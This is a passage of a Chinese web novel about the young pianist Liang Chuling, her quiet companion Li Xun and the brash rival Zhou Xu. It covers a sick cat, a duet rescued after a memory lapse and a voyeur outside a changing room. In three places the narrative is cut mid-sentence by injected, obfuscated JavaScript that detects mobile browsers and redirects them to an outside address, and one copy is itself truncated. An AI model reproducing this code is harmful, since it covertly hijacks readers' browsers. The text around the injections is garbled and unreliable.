“不了吧……我怕被拉着一直讲话没法好好吃饭。而且我们也不熟。”梁初灵不太喜欢这种过于自来熟的人。 周序也不纠缠,视线一转,看到从台侧正走过来的李寻。向李寻吹了声口哨,再扬扬下巴:“嘿!李寻!恭喜啊,特别奖。” 李寻走过来:“你好,周序。谢谢你。也恭喜你拿到冠军。” 说完,就把奖杯递给好奇到已经伸出双手的梁初灵,再拿过梁初灵的包,检查了一下她的水杯里还有没有水。 梁初灵已经看完奖杯,递给他,又从他口袋里掏出奶片吃。 周序都看在眼里。 “比不上你厉害。单为你开的奖项,意义非凡。”周序嘴上说着厉害,眼神里却没什么佩服的意思。 李寻语气平淡:“大家玩得开心就好。” “是挺开心。”周序接话,又看向梁初灵,“说起来,过完年后李炽老师就要回国,我也会跟着她上一段时间课。咱们这算不算师出同门?” 梁初灵没反应过来,看向李寻。 她不知道,那么李寻一定也不知道,否则李寻一定会告诉她。看向他也只是习惯。 不出所料,李寻就算不知道,脸上也不意外。 周序像是才想起来,一拍额头:“瞧我,忘了说明。梁老师,我和认识你的长辈打听过你,不知道你有没有印象?这次我回国,就是为了跟你一起上李炽的课。” 梁初灵想起了被拉去参加的那个酒会,想起那个与她聊起过李炽的叔叔,原来如此。 周序看着梁初灵的表情,知道她大概有印象,接着转向李寻:“说起来,之前还真没听说过李炽老师的儿子也弹琴,今天也算是见识了。弹得有意思。欸,李寻,你听过你妈妈弹琴吗?” 梁初灵再傻也听出来不对劲,什么叫没听说过,什么叫也算见识了,什么叫弹得有意思,什么叫你听过你妈妈弹琴吗? 她面色不虞:“李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755596|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻弹得怎么样,跟他是谁儿子没关系,他擅长的不是技术。” 周序惊讶地看她一眼,没想到她会为李寻出头,笑容又出来:“我当然知道他弹得有想法。不然也拿不到这个特别奖,对吧?”特意加重了特别奖三个字,“不过梁初灵,你在气什么?你对他挺关照?” 见梁初灵没说话,他往前一步,几乎凑到梁初灵面前,带着点挑衅:“因为他的作曲?觉得他有创造力?如果你慕强,那眼光是不是该放高点?需要评委们单开一个奖项来肯定的,那叫什么强?正统的冠军在这里。” 指了指自己胸口,笑容张扬。 梁初灵气得想小声骂他——大声了怕被别人听见,影响不好。 李寻却轻轻拉了下她的手腕,把她往后带,自己隔在她和周序中间:“你说得对。冠军是冠军,特别奖是特别奖。再次恭喜你拿到冠军,很厉害。” 周序打量李寻几眼,扯扯嘴角:“行吧。庆功宴真不去?有不少唱片公司的人。” “不去。”这次是梁初灵和李寻异口同声。 周序耸耸肩,也不在意,朝梁初灵挥挥手:“那下次见,师姐。” 说完转身走,像个凯旋的将军。 梁初灵对着他的背影想竖中指,又怕被有心人拍照,只能转头看李寻:“你拦我干嘛?” “他说的是事实。第七名是事实,特别奖也是事实。没什么好争的。” “可他那样说你!” “没关系,我没觉得他说了什么,也没觉得被冒犯。” 梁初灵没说出话。 是啊,周序好像也没说什么脏话,只是那股轻视让她不舒服。 李寻把她脸边一缕炸起来的头发别到耳后。 “走了,吃饭去。你不是想吃生煎包?再晚真卖完了。” 他的指尖有点凉,碰到她的耳朵,梁初灵回神,拍开他的手:“别动手动脚!谁要跟你吃饭!” “我饿了,小天才就当陪我吃。”李寻说得理直气壮,已经推着梁初灵的背就要往外走。 外面的天已经黑下来,暑气散了些,风里带着点黄浦江的水汽。 两人沿着街走,都没说话。 路灯的光铺设在地面上,熠熠生辉,像钻石一样闪耀,梁初灵跳着走,看得仔细。抬头想叫李寻也看,却看到李寻正好踩进光圈里,脚下闪烁着碎玻璃,她下意识拉住李寻往回拽,没收力,两个人撞在一起。梁初灵再看地面,不是碎玻璃,还是那片光。 “特别赛的第二位选手表演时,你很用情地鼓掌,为什么?他弹得不出彩。” 梁初灵想起了自己准备好的问题,她总是可以直接定义李寻的情绪,用情,多么主观的一个词,如果是别人,梁初灵只会说“用力”。 “他改编的那首歌我很喜欢,《还有什么可以送给你》,他改编得很幸福,我觉得很有意思。” “为什么?”梁初灵停下来,边走路边说话总让她觉得听不太清,她想听李寻得每一个音节。 “送给一个人的所有,我觉得不会是为了换得那个人停留,只是我想送给你,这份心意完成了,就没有遗憾。毕竟这份付出先温暖的不是你,而是我自己。” 噢——梁初灵点点头,她的问题被解答了:为什么用情地鼓掌,因为主观审美上觉得表达得很好。 但对于李寻的话,其实一知半解。 “你弹得那首曲子叫什么?”梁初灵换了一个她更感兴趣的话题。 李寻回过神,看她一眼:“没名字。即兴的。” “总有个题目吧?表演赛要求跟创作相关。” 李寻想了想,说:“那就叫《给X的即兴对话》。” “X是谁?” 李寻眼底闪过揶揄“不知道。” 梁初灵起下巴,像只骄傲小孔雀,哼了一声:“你少装!不是给我的还能是给谁?!” 李寻忍不住笑出声,轻轻弹了下她的额头:“对啊,不是给你的还能是给谁?所以你还问什么?” 22. 《雪花飞舞》 时间是一枚银色的子弹,从南方射回北方。 出了高铁站,两个人先一起去接猫,提到猫,梁初灵来了精神,扒着李寻的胳膊看他手机屏幕:“看看店员今天发视频了没?” 李寻点开微信,置顶联系人有三个:李炽、梁初灵、和宠物寄养店。 点开店员的聊天框,最新一条视频是昨天下午发的,很短,只有十几秒,栗子趴在猫爬架上,店员在一旁逗它,它并不活泼。 “它怎么没精神?”梁初灵诧异。 “可能因为天气热?咱们现在就过去吧。”李寻也有点皱眉,但不想提前担心,于是先安抚一下梁初灵的心情。 梁初灵只能盼着车快点开。 店员是个年轻男生,看到她们比预计的时间提前了一天回来,有点慌乱。 “栗子呢?”梁初灵迫不及待问。 店员引二人到栗子的豪华套间前。 栗子蜷在角落的软垫上,听到动静,耳朵动了动,却没像往常一样迎上来,只是嗡嗡了几声。 梁初灵已经觉得不对劲了,隔着玻璃看它:“它怎么了?是不是不舒服?” 店员支吾着:“前几天是有点打喷嚏,流鼻涕。我们觉得可能就是感冒,田园猫皮实,就给它喂了两天速诺。想着你们在外面比赛,就没特意打扰……” “喂药?它生病了你们不跟我们说?你们给它喂药不跟我们说?!”梁初灵气得手指发颤。 李寻没说话,脸色也沉了下来。 他打开猫舍的门,伸手进去摸了摸栗子的耳朵和鼻尖,又掰开它的嘴看了看。 “什么时候开始的?”他问店员。 “大概四五天了。”店员被他看得低下头,“今天看着还没好,我们正打算下午再喂一次药。” 李寻不再多问,也不想在这里争吵,以免吓到其它小动物。直接把栗子抱出来放进猫包。栗子乖顺得反常,只在他怀里蹭了蹭。拉好猫包拉链,另一只手拉住还在质问店员的梁初灵就往外走。 出了宠物店,打车就直奔农大。 栗子在猫包里一动不动,也不打呼噜。 “师傅,麻烦您开快点。”李寻也有点着急。 车子启动,梁初灵接过猫包,抱在怀里,摸着里面蔫蔫的身体,往日活泼到狗都嫌的栗子现下安静得离奇。 她再度想起那只跑丢的小猫,她再也没见过那只猫,但帮她找猫的团队跟她说过大概已经死了,让她想开点。 梁初灵真的怕起来,眼泪不自觉掉下,砸在猫包上。 “它会不会有事啊,那些人也太不负责了……你怎么找的店啊。我们怎么就直接走了啊!明明都是他们的错,是他们的责任啊!”梁初灵越想越生气,还觉得离谱,“对啊!我们怎么直接就走了啊!?” 李寻看着她啪嗒啪嗒掉眼泪,摸出纸巾侧过身给她擦脸:“别哭。对不起,是我的问题。先带小猫看医生好不好?追谁的责不重要了,还是小猫比较重要。” 梁初灵红着眼睛朝他伸手:“那你手机给我!我要看他们这几天给你发的视频!” 李寻把手机递给她。他的手机没密码,梁初灵直接点开微信,往上翻看记录。 从结果往回倒推过程,的确破绽百出,时时刻刻都有预示。 从几天前开始,店员发的视频时长就明显变短,画面里的栗子也越来越不爱动,大部分时间都在睡觉,偶尔被逗反应也很迟缓。 只是隔着屏幕,不仔细看确实容易忽略。 “你看,你看这里,你再看这条,他刚刚在撒谎,上周就已经饭量下降了,你观察力那么好怎么没发现呢?” 梁初灵埋怨,又开始想掉泪。可,她说完就想到,李寻为什么没发现? 他在上海,要准备上课、演出、正赛、表演赛,拿到特别奖后,还跟一个有名作曲家通了邮件,讨论申请学校作品集的事情,忙得脚不沾地。 这一切,都是因为要转向作曲。 即将九月,柯蒂斯的报名系统就要开启。他都是为了那个约定。他所有的精力和时间都被占满。 梁初灵的埋怨退去,转变非常迅速:“我知道是为什么了,因为你自己也很疲惫。我不该怪你的。” 李寻一句话没说呢,就看着她脸上表情瞬息万变,从愤怒指责到自我反省不过几秒钟。 他心里某个地方软了一下,发现自己确实难以抵抗她的纯真和澄澈。 怪你就一定会怪你,理直气壮。 想明白了也一定会立刻告诉你,毫不扭捏。 到了农大,医生给栗子做详细检查:“别担心,问题不大。呼吸道感染,有点炎症。之前吃的药不太对症,而且剂量可能也不太够。我开点药,回去按时喂,注意保暖,观察几天,应该就没事了。” 梁初灵和李寻同时松了口气。 “真的没事?”梁初灵不放心地追问。 “放心吧小姑娘,小猫生命力顽强着呢。”医生笑着开始写处方,“不过以后宠物寄养,还是要找更靠谱的店,有问题及时沟通。” 拿了药,两人一猫又重新坐上出租车,这次是回家的方向。 梁初灵抱着已经恢复一点精神的栗子,眉开眼笑,用脸蹭它脑袋。 “吓死我了你这个小咪!”又扭头对李寻说,“幸亏它是被你养了,要是被我养,估计它就完蛋了。” 李寻看着她和猫挤在一起,车窗外的光影掠过光滑的她的脸、毛茸茸的猫的脸,梁初灵的眼睛还有哭过的痕迹,此刻却笑得毫无阴霾。 他想,的确很澄澈。 梁初灵的眼睛永远年轻,永远含泪含笑。 -- 晚上两人一猫,一起在梁初灵家投影看电影。 是梁初灵提议的,她想跟猫多呆一会儿,李寻怕看完电影太晚,梁初灵回家不安全,最近梁初灵又不让他送,索性就直接在梁初灵家看。正好妈女士也出门了。 先看的是《绿野仙踪》。 黑白画面转为色彩斑斓的奥兹国时,梁初灵看着桃乐丝被龙卷风刮进一个新世界,最后发现能回家的魔力就在自己脚上。 梁初灵闷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759773|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闷感慨,要是早发现那早就回家了…… “经历的本身也是意义。不遇见稻草人、铁皮人和狮子,她可能永远不知道自己拥有什么。”李寻安慰她。 电影里,桃乐丝和伙伴们在罂粟花田里昏睡,梁初灵也差点睡着。 电影结束,片尾曲响起。 梁初灵伸了个懒腰:“还早,看点别的吧?” “你定。”李寻很好说话。 “行,那我找部吓人的!”梁初灵跃跃欲试。 梁初灵挑了部恐怖片,结果看到一半就不想再看。 为了不让自己显得太无理取闹,硬要拉着李寻开始练琴,说过段时间你又有考核,千万不能掉以轻心呀你说是吧李寻! 李寻无可奈何……问了句你想听我弹什么? 月光洒在客厅,洒在栗子的毛上,一种洗涤一切的感觉。栗子在月光中拖着影子往前走。 “月光?” 旋律舒缓、宁静,带着点淡淡的忧伤,像月光下缓慢流淌的溪水—— 这是李寻的《月光》 光芒是慢慢铺开的,夜晚是缓缓降临的。万物生长,有其时节。 这是他的表达。 他的《月光》是等待。 “是等待吗?我听到了等待的情绪。”梁初灵不确定地问。 “真聪明啊小天才。是等待。” “为什么是等待?” “人需要做的只有等待。” 等待种子发芽,等待伤口愈合,等待风暴过去。 梁初灵好像有点明白李寻的意思,又好像没那么明白…… 她太过幸运,不太理解等待的意义,她的世界里,等待与努力是相悖的,而努力和结果是划等号的。 那么一切都应该去争取才对,徒徒等待该多么懦弱。 所以李寻的话没有说出口—— 他愿意等待。 等待梁初灵内心因家庭而起的风暴彻底平息,等待她那依赖性质的喜欢,沉淀、澄清,最终浮现出纯粹的真心。 他在等待,等待那个约定的时机到来。 他有足够的耐心。 因为她是梁初灵,那么值得最好的过程和结果。 -- 这之后二人一起看过好几次电影,看喜剧、看科幻、看文艺片、看动画片,也看梁初灵精挑细选的恐怖片。 梁初灵看电影真是只能在家里看,因为她总喜欢怪叫,模仿电影里出现过的一切声音,李寻都拿手机悄悄给她录了下来。 一次张姨在边干活边放歌,李寻听出是《珍重》,于是晚上拉着张姨加入,三个人一块儿看了一遍《山河故人》。 看得越多,梁初灵似乎更明白李炽当初说“主观的完美”究竟是什么意思。 因为音乐实在太过特别,它和什么电影都不一样,它完全自我,每一首乐曲永远只和情绪有关。 半年以前的梁初灵,在李炽看来甚至有点不通情、无思绪。 只是半年,梁初灵生长出了一颗心,这颗心向上,是垂直的秧苗。 23. 《牧神午后前奏曲》 周序也回了北京的家,方便对接演出排期,也方便之后加入李炽的课。 他来北京,就导致梁初灵不得不接一个国字号演出邀请,二人将合作演出。 妈女士从梁父那里得知这个消息,梁父希望把这场演出作为招牌,给他的公司也宣传宣传。说是得知这个消息,其实是梁父要求妈女士得去演出现场。 妈女士倒是挺乐意,手术后恢复得不错,心情也不错,干她最擅长的事——给梁初灵狂买演出服。 演出的日子到来。 梁初灵坐在化妆镜前,化妆师在她脸上扑扑扫扫,她心里有些焦躁,摸出手机,那天看到李寻把她和李炽设成置顶后,有样学样,她也把李寻和妈女士设成了置顶。 此时置顶一:“宝贝,妈妈请了摄影师一起进来,马上去安检,今晚一定给你好好记录!” 梁初灵回了一个好。 置顶二还停留在她六小时前发出去的那条:“李寻李寻!玄学玄学!速来!” 她左眼皮直跳,心里不安稳,想要得到一些玄学加成。 往常,李寻的回复就算不及时,也绝不会这样石沉大海。 已经九月,李寻几乎进入神隐状态。虽然截止日期远在十二月中,但李寻要准备的是先前不曾纳入考虑的作曲系,三到五首高质量原创乐谱是大工程。 幸好乐器演奏能力展示这条对他不算难题,不然真得扒掉一层皮。 于是乎李寻忙成陀螺,梁初灵发出去的消息,常常要过好久才能听到一声迟来的咚。 窗外不知道有什么鸟飞过,老大声音,吸引人往外看,但梁初灵只看到一只蜻蜓停驻,翅膀近乎透明、却又如同被切割后的无数小窗户。它歇在光里。世界先静下来一秒,然后发出笑声——又是吸引人去看,但梁初灵又只看到周序在门外闪过的衣角。 总是迟一步。 九月,暑气还没认输。 化妆师轻声说:“梁老师,抬头,画眼线了。” 梁初灵抬起下巴,眼睛最后还瞟了一眼手机屏幕。心里空落落的感觉泅开。 “好了,您看看效果。”化妆师放下工具。 梁初灵望向镜子里。很完美。光芒万丈的演奏家。 音乐厅内灯火辉煌。 台下座无虚席,前排是些面容肃穆的人物,后排及楼上则坐满了来自各大音乐院校的师生和业内翘楚。 这种级别的演出,安保严密,观众皆是经过严格筛选邀请而来,要保证氛围,也要确保安全。 梁初灵和周序一同走上舞台。鞠躬,落座。灯光聚焦,世界安静。手指落下,音乐骤起。 《牧神午后前奏曲》的双钢琴版本缓缓流淌。周序的技术无可指摘,构建出作品骨架;梁初灵的触键灵动如风,音色变化丰富细腻,铺陈出斑斓血肉与动人情愫。 二人都既专业、又职业。 不会再像排练时那样充满火药味的对抗,而是出现平衡与默契。 竞争依旧在,却化为推动音乐向前的共同燃料。两股强大的力量在碰撞中融合,爆发出一加一大于二的效果。 台下,无数双专业的眼睛注视着她们,赞叹、欣赏、分析。 在乐曲行进到最迷离的段落时,意外发生。 周序的手指突然停在琴键上,他忘谱了。前两天的行程太赶,他的团队太想为他造势,导致休息时间不够,状态不行。 这几秒的空白在流畅的音乐中像一个感叹号,多么引人注意…… 梁初灵的心跳也漏了一拍,总算知道自己的眼皮跳在何处。 但她的听觉与肌肉记忆比思维更快,电光火石间,梁初灵已自然而然地接上一段琶音。 触键极轻,音色飘忽,如同牧神眼皮颤动时漏进的一缕阳光。 这串音符模糊了调性,延续了德彪西笔下那介于睡与醒之间的暧昧氛围。 那几秒的停顿,竟像是牧神在午睡中短暂的清醒,或是从一场梦跌入另一场梦的间隙。 在周序尚未找回状态的下一秒,梁初灵的右手紧接着在钢琴的高音区,点染出几个平行和弦,遵循印象派的和声语法,重新诠释并延展了那几秒钟停顿的意义,让它从一个技术失误,变成一个梦境内外的临界点。 指挥的眉头舒展,手势随之调整,整个乐队的呼吸都跟上了梁初灵的节奏。 周序只停滞了不到五秒,在梁初灵的引导下迅速找回状态。但接下来的演奏,主导权已在不经意间易主,原本是以周序为主的造势演出,此刻却变成了梁初灵掌控全局。周序成了那个配合者,他的演奏依然精准,却是在跟随梁初灵的呼吸与律动。 当音乐走向尾声时,那个意外的停顿早已不再是瑕疵,而是令人回味无穷的华彩,一曲终了,余音绕梁。寂静之后,是雷鸣般的掌声。 梁初灵和周序同时起身,向观众鞠躬。 回到后台,气氛轻松热烈。不少人围过来道贺。梁初灵应付着,没有看到那个想看到的身影——当然会看到,他忙得消息都不回,梁初灵只是怀抱着再等到一个”停顿“的可能。 “初灵!”金溪挤过人群,“你弹得好好好好!” 梁初灵看到她也意外,两个人笑着抱了一下。 金溪又说:“我过两天要跟着老师去外地巡演啦,要一阵子不在学校。” “行,那你回来找我。”梁初灵应着。 依然没有新消息。 一直到很晚,回到家,洗去一身疲惫和妆容,倒在床上,手机才终于亮起。 李寻:“才下课。真是不好意思,小天才今天演出的怎么样?” 梁初灵看着那行字,晚上在聚光灯下的兴奋,此刻却已经想不起来具体是什么感觉了。 她打字:“挺好的。你没来听真是可惜了。” 毕竟真的很成功,她的直觉也很准,可即使没有玄学加持,梁初灵依靠自己,也能够解决一切问题。 所以只是可惜,并无不满。 李寻回得很快:“对不起呀小天才,我最近会越来越忙。” 梁初灵能理解,这没什么不能理解的,当然能理解,为什么不能理解。 “没关系啊,下次还会有机会的。” 回完把手机扔到一边,拉起被子蒙住头。 在此之后,那场演出的主办方找到梁初灵,告知他们内部有了新的想法,之前为周序规划的一系列合作机会和曝光资源,现在认为或许由梁初灵来主导,能产生更惊艳的效果,也更能代表年轻一代钢琴家的顶尖水准。 想知道梁初灵这边意下如何。 梁初灵心里翻了好几个白眼,这些资源是当初为周序量身定制的,连宣传语都仿佛能看到‘周序与他的朋友们’这种感觉。自己贸然接手,怎么会合适? “感谢你们的幡然醒悟哦,但是一个有品位的合作,应该始于对艺术家本身特质最原初的认知与欣赏,而不是在一次意外之后,才匆忙调整既定的优先级。我不想当那个退而求其次的选项。”梁初灵还学不会留情,她挺生气。 是挺让人生气,凭什么我是一个次选的定位?凭什么我要接受一份事后追加的赏识?一开始的眼睛是长在哪里了?难道在今晚之前,你们看不出我本身就值得这些甚至更多吗? 梁初灵心里想,认不出我的独一无二,简直是你们的罪大恶极! -- 周序很快协调来了几位老师和一间琴房,梁初灵看着他把琴房钥匙在手指上转得哗啦啦响,忍不住问:“你搞这么大阵仗干什么?” 他把钥匙一收,下巴微扬,理所当然:“申柯蒂斯啊。” 梁初灵这是真的不解:“你都签唱片公司了,欧洲那边发展得好好的,还申柯蒂斯干什么?” 周序挑眉看她:“唱片公司是生意,柯蒂斯是学习。再说了,”他凑近一点,眼神中有几分狡黠,“你能去的地方,我为什么不能去?” 除此以外,周序推掉了一系列独奏邀约,却接下了所有指明或易于促成他与她合作的室内乐演出。 在有意之下,二人相处时间变得名正言顺。 在一次排练间隙,梁初灵忍不住:“你不觉得我们绑定得太频繁了?” 周序理所当然:“合作效果好,市场认可,有什么问题?” “我不喜欢被安排。”梁初灵直言。 “不是安排,是互惠。” 他抛出了一个她无法拒绝的惠。 周序联系并敲定了与一位俄罗斯女钢琴家的合作演出,正是梁初灵之前因意外受伤而被迫错失的那次机会。 梁初灵的抗拒,在听到那个名字时偃旗息鼓。那是她的遗憾,却即将要达到完满。 她看着周序,想从他脸上找出施舍或炫耀的痕迹,却只看到兴奋。 演出当晚,梁初灵与偶像的合作圆满成功,弥补了曾经的遗憾。而紧接着,周序与女钢琴家合作的第二钢协,同样精彩得令人窒息。 如潮的掌声中,梁初灵站在侧幕,也由衷地为之鼓掌。 周序鞠躬时,看到侧幕的梁初灵,以及她脸上为他而发的赞赏,心下不免生出自信。 看,他的光芒,也能让她为之侧目。 这份增长了的自信,让周序得以旧事重提。 “我还是不明白,你到底看上李寻什么?他走的路线和我们明显不同。你需要的是能在巅峰和你相互激发的同类。李寻,他给不了你这种刺激不是吗?” 梁初灵没好气地回敬:“你又知道了?” “你在音乐上的品味挑剔,可为什么一离开琴键,你眼光就变得不行。我搞不懂。李寻放在普通人里算优秀,但在我们的世界里,他连竞争的资格都勉强。我的确不如你,但他跟我更是……算了我不想做比。你到底看上他什么?” “弹钢琴,他毫无胜算,如果说作曲,是,他有想法,可以你的名声和地位,只要你想,有多少作曲大师愿意为你量身谱曲?你拥有选择最好资源的能力,为什么偏偏要停在一个可能性旁边? 梁初灵被他的刻薄激怒,又被连珠炮问得有些恼火,想为李寻辩护,有些赌气地说:“你不懂!李寻他很好,他很……”她卡壳,搜索着词汇,“他很温和,能让我觉得安心,这不好吗?” “温和?”周序几乎要笑出来,“温和?梁初灵,你听听你自己在说什么?几年前在欧洲比赛见到你,你是一把出鞘的剑,多么强悍。可这次再见你,你学会了瞻前顾后,我原本以为是时间磨平了你的棱角。” 他带着恍然:“我有点明白了,是李寻改变了你。他把你拉向那个平静却平庸的世界。你不再纯粹地做你自己了。而你把这种消退,叫做温和?” “他不是!他不平庸!”梁初灵脱口而出,“他……” 没说完忽然顿住,在急速的辩白中,撞上了一面自己未细看的墙壁。 周序站了起来:“好吧,别生气。我承认李寻有他的强处。感知细腻,创作上有想法。但是梁初灵,那条路不适合你,他不是能与你并肩的人。” “我的事不用你管。” 梁初灵心神回收,只觉得跟周序继续呆下去就会爆炸,收拾了东西就往演奏厅外走。 演奏厅旁边是食堂,此刻不是饭点,附近没什么人。 她毫无遮碍的看见一个男学生骑着共享电动车,故意要去撞草地上睡着的一只流浪猫,猫肚皮随着呼吸起伏,车轮直直朝着那只猫冲过去。 “喂!有猫!你干什么呢!”梁初灵大喊出声,同时朝那边跑去,想惊醒、惊走那只猫。 骑车男学生被她突然的喊声吓一跳,没想到这个时间、这个地点还能有人多管闲事,车头一歪,慌乱间非但没避开,反而朝着梁初灵的方向歪歪扭扭撞过去。 电动车的前轮蹭过梁初灵小腿,她踉跄一下,勉强没摔。今天穿的短裤,小腿外侧火辣辣的疼。 低头一看,血混着灰,看起来有点惊悚。 那只猫被这动静惊醒,嗖地一下窜没了影。 骑车男学生脸色煞白,支支吾吾想道歉,却半天说不出口,眼神闪烁,车把一拧,要趁没人注意赶紧溜走。 “站住!”一声冷喝从梁初灵身后传来。 她还没反应过来,就见一个身影风一样从她旁边掠过,几步就追上那个正要加速的电动车,一把拽住车后架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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男学生在周序几乎要杀人的目光下,彻底蔫了,哭丧着脸跟着她们往医院去。 一路上,周序的嘴就没停过。 先是押着那男的去挂号缴费,陪着梁初灵清理伤口上药,确认只是皮外伤。 然后一个电话打到学校的教务处说明情况,重点强调校内车辆伤人的事。 梁初灵听着他打电话,急得在旁边打着手语加嘴型辅助,拼命说“说一下有人意图伤害流浪猫啊!”周序看懂了,加上了这一句。 “我们现在就在医院,对了,受伤的是梁初灵。希望校方能严肃处理这件事,追究肇事者的责任,他必须为此付出代价!” 其实那只猫对周序而言是事件的起因,但不是他关注的核心,但梁初灵在旁边手舞足蹈,他还是补充,“我认为有必要考虑出台一个校内流浪动物保护的相关规定,这不是小事,也关系到校园安全和人文关怀。” 他说话像个来视察的领导……梁初灵忍不住想他多大来着? 校方一开始觉得只是小摩擦,批评教育一下,赔偿医药费就算了,认为周序要求的公开道歉,乃至推动校内动物保护规定是小题大做。 但这彻底激怒了周序。 “这次是猫,下次呢?校园安全是儿戏吗?对待生命的态度就是这样的?” 他在电话里据理力争,甚至带威胁的口吻表示如果不严肃处理,他会通过自己的渠道利用媒体让更多人关注此事。 在他的强势下,校方最终妥协。 那个男生不仅赔了钱,还被要求在校广播站进行公开道歉,并且几个学校出台了一份《校园内流浪动物保护与管理的试行办法》,贴出了关于加强校园内车辆管理和倡导爱护流浪动物的通知。 梁初灵看着布告栏上那张新通知,一时之间有点恍惚。 事情的发展完全超出了她的预期。 她腿上那块擦伤在长好,所以微微发痒。 周序…… 像正午的太阳,炽热猛烈,带着几乎要灼伤人的强悍。 她觉得陌生,却又忍不住惊醒,她不该陌生,她从何时开始,对这种强悍陌生? 在梁初灵看着布告栏发呆时,李寻打来电话:“我看到校公众号的推送了,你受伤了?严不严重?我过来看看你,你回家吗?还是在学校?我现在打车去你家门口等你或者来学校找你。” 背景音里能听到教授讨论设备调试的声音,李寻应该在录音棚。 “没事没事!”梁初灵连忙说,“就擦破点皮,周序已经拉我去医院处理过了。你那边是要录音吗?别过来了,真没事!” “真的?”李寻确认。 “真的真的!我拍照发你!先挂了吧,真没事!”梁初灵挂了电话,立刻对着小腿拍了张照片发过去。 李寻很快回复:“看到了。没事就好。还是要多注意,有任何不舒服直接给我打电话好不好?我今晚也可以过来找你的,我可以快一点结束。” “哎呀真不用!我都说了我真的没事,你专心录音吧。” 接着李寻发来语音,语气明显放松了些,但问的问题让梁初灵愣了一下:“那只小猫呢?它有没有事?” 梁初灵有一种说不上来的感觉,开心?顾恤?欢畅? 总之,她语气欢喜:“小猫也没事,幸亏我发现得快!它也机灵,跑得可快!” 李寻回了一个好字,对话就结束。 李寻只问了这两个问题。 梁初灵有没有事?小猫有没有事? 只划出两个关心点:她,和那只被波及的无辜小猫。 关于那个撞人的男生,关于周序闹出的动静,关于校方新出的规定,他只字未提。 他的注意力只聚焦于他在意的人与生命的安危本身,至于“坏人”是否被绳之以法,仿佛并不值得在意。 对世界有这样的温和视角,这的确就是李寻。 但周序的能量用于向外攻击,让坏人付出了代价,甚至让规则因此改变。 握着手机,梁初灵心里的恍惚更重。 她像站在水与火之间,第一次清晰看到了两条截然不同的路。 一条通向一个温暖平静的港湾。 另一条通向更高更远更刺激的峰顶。 九月鹰飞,正是择路之时。 24. 《钢琴奏鸣曲D.537》^^…… 梁初灵和周序合作以后,表演邀约更是纷纷扬扬落满日程表。 官方嗅到了绝佳的营销气息,将闪耀双星、黄金搭档的名号炒得沸沸扬扬。 海报上,梁初灵和周序并肩而立,一个灵动,一个张扬,灯光打得恰到好处,看起来确实有那么点天作之合的意思。 梁初灵看着广告牌上那张放大数倍的脸,只觉无语,扭头对旁边的另一位正主翻了个白眼。 周序双手插兜,浑不在意:“哪个国家的媒体都爱搞这一套,流量密码罢了。你当他们在念经。” “念经也没这么烦。”梁初灵没好气。 随着黄金搭档名号越炒越热,二人这一对cp,从起初铺天盖地的赞美,逐渐风向开始转变。 网络上关于梁初灵和周序的讨论,演变成微型舆论战场。 战火绝大多数时候都只集中在梁初灵身上: 【每次看他们演出,梁初灵都更像是锦上添花的那一笔。】 【英雄所见略同!说实话,梁初灵的技术是不错,但还是周序更老道。】 【每次谢幕,都是周序先示意她,她才会跟着鞠躬,架子不小哦。】 【他们的第一次合作你们听过吗,周序的那个停顿的小巧思真是绝了!他怎么那么天才!牧神午后还能这样演绎!梁初灵估计就是那一次迷上他的吧……】 【+1!我的入坑曲!每次听那个停顿的设计,我的鸡皮疙瘩就起来了,梁初灵运气太好了!能够有幸演绎这样一首神作。】 一开始也只是这样的挑刺,直到—— 事情发生得突然。 那天下午,梁初灵和周序刚结束一场演出,汗湿重衣,梁初灵率先走进更衣室,室内闷,她背对着那扇为了透气开了一条缝的窗户,费力解开演出服的系带。 刚脱到一半,就有一种被窥视的感觉,往后一看,心脏差点骤停—— 窗户上贴着一张男人的脸,手机镜头正对准室内。 梁初灵吓得炸毛,脏话脱口而出: “我*!”一把扯过外套裹住自己,“有人偷拍!” 随行的工作人员闻声进来:“干什么的!下来!” 窗外的男人显然没料到这么快暴露,估计刚干这种事不久,心态不行,扒着窗沿的手颤抖。 在工作人员马上伸手要拽到他的腿时,紧张之下手一松,伴随着惊叫人就摔了下去。 梁初灵手忙脚乱穿好衣服,拉开门冲出去。周序也从他那边更衣室出来。工作人员已经跑向楼下。 偷拍的男人摔在楼下的绿化带里,抱着一条腿龇牙咧嘴,幸好只是二楼。 惊魂未定的梁初灵跟着工作人员赶到楼下时,迎接她的不是道歉,是那个男人的倒打一耙。 他指着闻讯赶来的保安和越来越多围观的人,恶人先告状:“他们推我!是他们推我下来的!哎呦我的腿,明星打人啦!要出人命啦!” 梁初灵气得发抖:“你胡说八道!你自己掉下去的!你偷拍还有理了!” 那男人嚎得更大声:“谁偷拍了?我现在腿断了!是你们把我推下来的!大家都看看啊!这就是所谓的艺术家!蛇蝎心肠!” 周序一把拉住快要冲上去的梁初灵,将她挡在身后。居高临下地看着在地上打滚撒泼的男人,像在看一件垃圾:“推你?我们的人离你几米远,隔空发力?你手机握得这么紧,是怕我们拿到证据?需要我提醒你,未经允许在更衣室偷拍可能构成刑事犯罪吗?” 